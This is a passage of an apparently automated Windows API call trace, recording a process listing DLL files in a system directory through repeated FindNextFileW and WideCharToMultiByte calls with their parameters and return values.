cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0136.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa9c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0136.910] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xa9c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0136.911] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xa9c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0136.911] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.911] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xa9c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0136.911] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa9c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0136.911] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa9c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0136.911] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0136.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa9c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xa9c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa9c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa9c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xa9c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0xa9c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0xa9c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0136.912] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0xa9c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.913] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.913] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0xa9c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0136.913] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0xa9c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0136.913] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0xa9c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 